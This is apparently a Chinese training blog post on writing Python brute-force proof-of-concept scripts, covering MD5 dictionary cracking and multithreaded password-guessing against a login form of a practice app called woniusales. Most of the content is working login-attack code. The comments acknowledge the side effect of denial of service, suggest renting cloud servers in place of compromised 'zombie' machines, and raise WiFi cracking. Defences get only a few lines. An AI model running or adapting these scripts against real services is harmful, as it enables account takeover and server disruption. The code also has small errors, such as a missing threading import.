12-python编写暴力破解poc

一、爆破MD5

场景:已知MD5加密字符串,如何得知明文?

解决方案:

算法碰撞,一串128位的MD5(32位16进制)其组合数量

字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,

再和目标字符串对比,如果相同,则明文找到。

二、爆破woniusales

1、验证登录请求

使用burp抓包,查看登录的数据怎么构造,以及响应的url地址

2、已知用户名,爆破密码

import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():
    with open('文件的位置') as file:
        pw_list = file.readline()
    url = ''
    count = 0
    for password in pw_list:
        data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}
        resp = requests.post(url=url,data=data)     #去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')


if __name__ == '__main__':
    # md5('cxcsd')
    ws_01()

3、未知用户名,未知密码爆破

# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)

# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):
    with open('密码文件的位置') as file:
        pw_list = file.readlines()
    url = 'http://'   # 这儿的路径是登录界面响应的界面
    global count
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
        resp = requests.post(url=url, data=data)  # 去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():
    pass

if __name__ == '__main__':
    # 多线程,读取用户字典,并遍历获取用户名
    with open('用户文件所在的位置') as file:
        user_list = file.readlines()
    for username in user_list:
        # 这儿有多少个线程,我就并发多少个用户
        threading.Thread(target=ws_thread,args=(username.strip(),)).start()

采用多线程去处理大数据

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):
    # 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式
    #先进行列表的可行性分析
    # with open('用户文件') as file:
    #     user_list = file.readlines()
    # # print(user_list[0:10])  # 可以通过切片的方式进行操作
    # # print(user_list[10:20])
    # # print(user_list[20:30])
    # # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户
    # for i in range(0,len(user_list),10):  # 对列表进行切片处理分成一个子列表
    #     print(user_list[i:i+10])
    with open('密码文件的位置') as file:
        pw_list = file.readlines()

    for username in sublist:
        url = ''
        for password in pw_list:
            data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
            resp = requests.post(url=url, data=data)  # 去进行post请求
            if 'login-fail' not in resp.text:
                print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")
                exit()



if __name__ == '__main__':
    # 每个线程负责10个用户
    with open("用户的位置") as file:
        user_list = file.readlines()

    for i in range(0,len(user_list),10):
        sublist = user_list[i:i+10]   # 设置子进程,核心点是切片,作为参数把列表传递过去
        threading.Thread(target=ws_thread_10,args=(sublist,)).start()

三、爆破条件与防范

1.登录成功或失败的条件可验证

2.服务器端允许多次失败登录而不会禁止

首先监控到登录的请求 ,查看通行的过程

查看登录是发送了那些字段,

查看登录后的响应,

从流量上来看DOS攻击和暴力破解特征是一样的

暴力破解的点

一、应用场景:

只要有密码的地方,均可以尝试使用爆破方案

二、应用条件:

爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,

没有肉鸡怎么办?

去云服务器平台临时租赁

爆破分类:

离线爆破

在线爆破

作业:如何爆破wifi?如何防护?

爆破WiFi简单粗暴的进入内网。

一个进程,的线程有限,如何能够提升并发能力呢?

1.将任务分配到不同电脑上,

2.在同一台电脑上运行多个程序。

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值